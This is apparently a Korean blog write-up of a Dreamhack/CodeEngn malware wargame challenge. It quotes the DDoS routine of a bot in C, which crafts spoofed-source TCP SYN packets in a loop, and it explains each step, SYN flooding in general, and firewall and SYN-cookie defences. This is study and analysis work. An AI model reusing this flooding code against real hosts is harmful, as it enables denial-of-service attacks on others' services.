Dreamhack/Dreamhack Wargame (Challenge)

[143] IT 비전공자 [dreamhack][CodeEngn] Malware L01문제 풀기

imaginefuture-1 2025. 1. 31. 09:22

malware 시리즈! 01 ㅋㅋㅋㅋ아니..나 이미 04까지 다풀었는데..거꾸로 풀고있네 ㅋㅋㅋ

 

 

 

addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP;

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;

lTimerCount=GetTickCount();

while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);

psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);

tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());

psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;

if((GetTickCount()-lTimerCount)/1000>len) break;

if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);

Sleep(delay); 
}

xClose(sock);

 

 

🔍 코드 분석 및 공격 유형

이 코드는 네트워크 패킷을 직접 생성하여 특정 대상(TargetIP, TargetPort)에 지속적으로 전송하는 공격 코드입니다. TCP/IP 패킷을 조작하는 방식이 포함되어 있으며, 이를 통해 특정 시스템을 과부하 상태로 만들거나 연결을 방해할 가능성이 높습니다.


📌 공격 방식 요약

이 코드의 주요 공격 방식은 SYN Flooding (SYN 플러딩) 공격입니다.

🔹 SYN Flooding: 공격자는 가짜 발신 IP 주소를 사용하여 다량의 TCP SYN 패킷을 타겟(TargetIP, TargetPort)에 전송하여 대상의 네트워크 및 시스템 자원을 소진시키는 DoS(서비스 거부) 공격입니다.


📌 코드 분석 (한 줄씩 살펴보기)

1️⃣ 공격 대상 설정

addr_in.sin_family = AF_INET;  // IPv4 사용
addr_in.sin_port = htons(TargetPort);  // 대상 포트 지정
addr_in.sin_addr.s_addr = TargetIP;  // 대상 IP 설정
  • 공격 대상 IP와 포트를 지정합니다.
  • TargetIP와 TargetPort 값이 들어갑니다.

2️⃣ IP 헤더 설정

ipHeader.h_verlen = (4 << 4 | sizeof(ipHeader) / sizeof(unsigned long));  
ipHeader.total_len = htons(sizeof(ipHeader) + sizeof(tcpHeader));
ipHeader.ident = 1;  
ipHeader.frag_and_flags = 0;  
ipHeader.ttl = 128;  
ipHeader.proto = IPPROTO_TCP;  
ipHeader.checksum = 0;  
ipHeader.destIP = TargetIP;
  • IP 헤더를 설정하는 부분입니다.
  • proto = IPPROTO_TCP → TCP 프로토콜을 사용한다는 의미.
  • ttl = 128 → 패킷의 생명주기(TTL) 설정.
  • checksum = 0 → 후에 체크섬 계산 후 설정.

3️⃣ TCP 헤더 설정

tcpHeader.th_lenres = (sizeof(tcpHeader) / 4 << 4 | 0);  
tcpHeader.th_flag = 2;  // SYN 패킷 (SYN 플래그 활성화)
tcpHeader.th_win = htons(16384);  
tcpHeader.th_urp = 0;  
tcpHeader.th_ack = 0;
  • TCP 헤더의 th_flag = 2 → SYN 플래그가 활성화됨 (SYN Flooding 공격을 암시).
  • 일반적인 TCP 연결 과정과 비교:
    • 일반적인 TCP 연결: SYN → SYN+ACK → ACK
    • SYN Flooding 공격: SYN을 지속적으로 보내지만 ACK를 받지 않음 → 대상 서버의 리소스를 소진.

4️⃣ 공격 루프 실행

lTimerCount = GetTickCount();

while (g_cMainCtrl.m_cDDOS.m_bDDOSing) {
    i++;

    tcpHeader.th_sum = 0;  
    tcpHeader.th_dport = htons(TargetPort);
  • while 루프를 통해 반복적으로 SYN 패킷을 생성하여 전송.
  • 공격이 진행되는 동안 TargetPort를 계속 사용.

5️⃣ 가짜 IP (Spoofing) 및 TCP 시퀀스 설정

ipHeader.sourceIP = htonl(lSpoofIP);

tcpHeader.th_sport = htons((rand() % 1001) + 1000);
tcpHeader.th_seq = htons((rand() << 16) | rand());
  • 가짜 IP 주소(Spoofed IP)를 사용하여 공격자가 추적되지 않도록 함.
  • 랜덤 포트를 사용하여 매번 새로운 세션인 것처럼 위장.

6️⃣ TCP Checksum 계산

psdHeader.saddr = ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum = checksum((unsigned short*)szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader));
  • TCP 체크섬을 계산하여 올바른 TCP 패킷으로 인식되도록 설정.

7️⃣ 패킷 전송

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4);

ipHeader.checksum = checksum((unsigned short*)szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect = sendto(sock, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect == SOCKET_ERROR) return false;
  • sendto() 함수를 사용해 직접 패킷을 전송.
  • SOCKET_ERROR가 반환되면 오류 발생.

8️⃣ 랜덤 포트 및 랜덤 IP 설정

if (bRandPort) { TargetPort = brandom(1000, 10000); }
szSpoofIP[0] = (char)brandom(0, 255);
szSpoofIP[1] = (char)brandom(0, 255);
szSpoofIP[2] = (char)brandom(0, 255);
szSpoofIP[3] = (char)brandom(0, 255);
  • 랜덤한 IP 주소를 생성하여 추적을 어렵게 만듦.
  • 특정 포트 범위(1000~10000) 내에서 랜덤한 포트로 SYN 패킷을 전송.

9️⃣ 일정 시간 대기 후 지속 공격

Sleep(delay);
  • 일정 시간 (delay) 후에 다음 공격 패킷을 보냄.

🔴 최종 공격 방식 (SYN Flooding 공격)

  1. 랜덤한 가짜 IP(Spoofed IP)를 사용하여 TCP SYN 패킷을 지속적으로 전송.
  2. ACK를 보내지 않음 → 대상 서버가 "대기 상태"가 되면서 리소스를 소진.
  3. 랜덤 포트 및 시퀀스 번호 사용하여 탐지를 어렵게 만듦.
  4. 특정 시간이 지나면 공격 종료.

💀 SYN Flooding 공격이란?

📌 정상적인 TCP 3-Way Handshake

  1. 클라이언트 → 서버: SYN 패킷 전송
  2. 서버 → 클라이언트: SYN+ACK 응답
  3. 클라이언트 → 서버: ACK 전송 → 연결 확립

📌 SYN Flooding 공격

  1. 공격자 → 서버: 가짜 IP로 SYN 패킷을 지속적으로 전송.
  2. 서버 → 공격자: SYN+ACK 전송 (응답).
  3. 공격자는 ACK를 보내지 않음 → 서버는 연결이 완료되지 않아 SYN+ACK 대기 상태 유지.
  4. 서버의 리소스가 계속 소모됨 → 일정 수 이상의 SYN 요청을 초과하면 정상적인 요청도 차단됨 (DoS 상태).

🔴 방어 방법

1. 방화벽에서 SYN Flood 차단

sudo iptables -A INPUT -p tcp --syn -m limit --limit 5/s --limit-burst 10 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
  • 초당 5개 이상의 SYN 패킷이 들어오면 자동 차단.

2. SYN Cookies 활성화

echo 1 > /proc/sys/net/ipv4/tcp_syncookies
  • 서버가 SYN 요청을 처리할 때 SYN Cookies 기술을 사용하여 가짜 연결을 거부.

3. Fail2Ban 사용

sudo apt install fail2ban
sudo systemctl enable fail2ban
  • 특정 IP에서 일정 시간 동안 과도한 요청이 발생하면 자동으로 차단.

🔴 결론

  • 이 코드는 SYN Flooding 공격을 수행하는 악성 코드입니다.
  • 가짜 IP를 사용하여 탐지를 어렵게 만들고, 지속적으로 SYN 패킷을 전송하여 대상 서버의 리소스를 소진시킵니다.
  • 방어하려면 방화벽 설정, SYN Cookies 활성화, DoS 방어 시스템(Fail2Ban) 적용 등이 필요합니다.

🚨 이 코드는 교육 및 보안 연구 목적으로만 사용해야 하며, 악의적인 사용은 법적 문제가 발생할 수 있습니다! 🚨

 

 

서버가 계속 syn+ack 대기 상태로 리소스 계속 낭비되는 공격..! 무섭다

 

synflooding 했는데 정답이 안되길래 댓글에 ing..잉..되어있길래

synflood했더니 정답..!